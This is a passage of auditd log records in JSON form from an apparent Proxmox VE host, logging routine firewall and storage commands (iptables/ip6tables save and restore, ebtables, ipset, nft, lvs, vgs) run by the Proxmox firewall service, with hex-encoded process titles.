proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965725673,"@rawstring":"node=pve type=PATH msg=audit(1781965725.673:66840): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775474,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.474:67049): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965725673,"@rawstring":"node=pve type=PATH msg=audit(1781965725.673:66840): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775468,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.468:67048): proctitle=697073657400726573746F7265"} {"@timestamp":1781965725667,"@rawstring":"node=pve type=PATH msg=audit(1781965725.667:66839): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775461,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.461:67047): proctitle=\"ip6tables-save\""} {"@timestamp":1781965725667,"@rawstring":"node=pve type=PATH msg=audit(1781965725.667:66839): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775454,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.454:67046): proctitle=\"iptables-save\""} {"@timestamp":1781965725660,"@rawstring":"node=pve type=PATH msg=audit(1781965725.660:66838): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775449,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.449:67045): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965725660,"@rawstring":"node=pve type=PATH msg=audit(1781965725.660:66838): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775445,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.445:67044): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965725650,"@rawstring":"node=pve type=PATH msg=audit(1781965725.650:66837): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775444,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.444:67043): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965725650,"@rawstring":"node=pve type=PATH msg=audit(1781965725.650:66837): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775444,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.444:67042): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965725641,"@rawstring":"node=pve type=PATH msg=audit(1781965725.641:66836): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775439,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.439:67041): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965725641,"@rawstring":"node=pve type=PATH msg=audit(1781965725.641:66836): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775431,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.431:67040): proctitle=\"ip6tables-save\""} {"@timestamp":1781965725638,"@rawstring":"node=pve type=PATH msg=audit(1781965725.638:66835): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775425,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.425:67039): proctitle=\"iptables-save\""} {"@timestamp":1781965725638,"@rawstring":"node=pve type=PATH msg=audit(1781965725.638:66835): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775419,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.419:67038): proctitle=69707365740073617665"} {"@timestamp":1781965725633,"@rawstring":"node=pve type=PATH msg=audit(1781965725.633:66834): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775411,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.411:67037): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965725633,"@rawstring":"node=pve type=PATH msg=audit(1781965725.633:66834): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775401,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.401:67036): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965725633,"@rawstring":"node=pve type=PATH msg=audit(1781965725.633:66833): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775001,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.001:67035): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965725633,"@rawstring":"node=pve type=PATH msg=audit(1781965725.633:66833): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965774963,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965774.963:67034): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965725633,"@rawstring":"node=pve type=PATH msg=audit(1781965725.633:66832): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965774248,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965774.248:67033): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965725625,"@rawstring":"node=pve type=PATH msg=audit(1781965725.625:66831): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965774248,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965774.248:67032): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965725625,"@rawstring":"node=pve type=PATH msg=audit(1781965725.625:66831): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965774248,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965774.248:67031): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965725625,"@rawstring":"node=pve type=PATH msg=audit(1781965725.625:66831): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965774240,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965774.240:67030): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965725613,"@rawstring":"node=pve type=PATH msg=audit(1781965725.613:66830): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965774240,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965774.240:67029): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965725613,"@rawstring":"node=pve type=PATH msg=audit(1781965725.613:66830): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965774240,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965774.240:67028): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965725605,"@rawstring":"node=pve type=PATH msg=audit(1781965725.605:66829): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965769227,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965769.227:67027): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965725605,"@rawstring":"node=pve type=PATH msg=audit(1781965725.605:66829): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965769227,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965769.227:67026): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965725593,"@rawstring":"node=pve type=PATH msg=audit(1781965725.593:66828): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965769227,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965769.227:67025): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965725593,"@rawstring":"node=pve type=PATH msg=audit(1781965725.593:66828): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965769219,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965769.219:67024): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965725582,"@rawstring":"node=pve type=PATH msg=audit(1781965725.582:66827): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965769219,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965769.219:67023): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965725582,"@rawstring":"node=pve type=PATH msg=audit(1781965725.582:66827): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965769219,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965769.219:67022): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965725571,"@rawstring":"node=pve type=PATH msg=audit(1781965725.571:66826): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765390,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.390:67021): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965725571,"@rawstring":"node=pve type=PATH msg=audit(1781965725.571:66826): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765388,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.388:67020): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965724264,"@rawstring":"node=pve type=PATH msg=audit(1781965724.264:66825): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765387,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.387:67019): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965724264,"@rawstring":"node=pve type=PATH msg=audit(1781965724.264:66825): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765387,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.387:67018): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965724239,"@rawstring":"node=pve type=PATH msg=audit(1781965724.239:66824): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765382,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.382:67017): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965724239,"@rawstring":"node=pve type=PATH msg=audit(1781965724.239:66824): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765374,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.374:67016): proctitle=\"ip6tables-save\""} {"@timestamp":1781965724081,"@rawstring":"node=pve type=PATH msg=audit(1781965724.081:66823): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765368,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.368:67015): proctitle=\"iptables-save\""} {"@timestamp":1781965724081,"@rawstring":"node=pve type=PATH msg=audit(1781965724.081:66823): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765361,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.361:67014): proctitle=\"ip6tables-save\""} {"@timestamp":1781965724081,"@rawstring":"node=pve type=PATH msg=audit(1781965724.081:66822): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765353,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.353:67013): proctitle=\"iptables-save\""} {"@timestamp":1781965724081,"@rawstring":"node=pve type=PATH msg=audit(1781965724.081:66821): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765351,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.351:67012): proctitle=\"ebtables-restore\""} {"@timestamp":1781965724075,"@rawstring":"node=pve type=PATH msg=audit(1781965724.075:66820): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765347,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.347:67011): proctitle=\"ebtables-restore\""} {"@timestamp":1781965724075,"@rawstring":"node=pve type=PATH msg=audit(1781965724.075:66820): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765342,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.342:67010): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965724075,"@rawstring":"node=pve type=PATH msg=audit(1781965724.075:66819): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765334,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.334:67009): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965724075,"@rawstring":"node=pve type=PATH msg=audit(1781965724.075:66818): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765330,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.330:67008): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965720769,"@rawstring":"node=pve type=PATH msg=audit(1781965720.769:66817): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765322,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.322:67007): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965720769,"@rawstring":"node=pve type=PATH msg=audit(1781965720.769:66817): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765317,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.317:67006): proctitle=697073657400726573746F7265"} {"@timestamp":1781965720768,"@rawstring":"node=pve type=PATH msg=audit(1781965720.768:66816): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765310,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.310:67005): proctitle=\"ip6tables-save\""} {"@timestamp":1781965720768,"@rawstring":"node=pve type=PATH msg=audit(1781965720.768:66816): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765302,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.302:67004): proctitle=\"iptables-save\""} {"@timestamp":1781965720766,"@rawstring":"node=pve type=PATH msg=audit(1781965720.766:66815): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765297,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.297:67003): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965720766,"@rawstring":"node=pve type=PATH msg=audit(1781965720.766:66815): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765294,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.294:67002): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965719065,"@rawstring":"node=pve type=PATH msg=audit(1781965719.065:66814): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765294,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.294:67001): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965719065,"@rawstring":"node=pve type=PATH msg=audit(1781965719.065:66814): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765294,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.294:67000): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965719065,"@rawstring":"node=pve type=PATH msg=audit(1781965719.065:66813): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765289,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.289:66999): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965719065,"@rawstring":"node=pve type=PATH msg=audit(1781965719.065:66812): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765282,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.282:66998): proctitle=\"ip6tables-save\""} {"@timestamp":1781965719058,"@rawstring":"node=pve type=PATH msg=audit(1781965719.058:66811): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765274,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.274:66997): proctitle=\"iptables-save\""} {"@timestamp":1781965719058,"@rawstring":"node=pve type=PATH msg=audit(1781965719.058:66811): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765267,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.267:66996): proctitle=69707365740073617665"} {"@timestamp":1781965719058,"@rawstring":"node=pve type=PATH msg=audit(1781965719.058:66810): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765257,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.257:66995): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965719058,"@rawstring":"node=pve type=PATH msg=audit(1781965719.058:66809): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965765246,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965765.246:66994): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965715549,"@rawstring":"node=pve type=PATH msg=audit(1781965715.549:66808): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965764834,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965764.834:66993): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965715549,"@rawstring":"node=pve type=PATH msg=audit(1781965715.549:66808): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965764809,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965764.809:66992): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965715545,"@rawstring":"node=pve type=PATH msg=audit(1781965715.545:66807): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965764212,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965764.212:66991): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965715545,"@rawstring":"node=pve type=PATH msg=audit(1781965715.545:66807): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 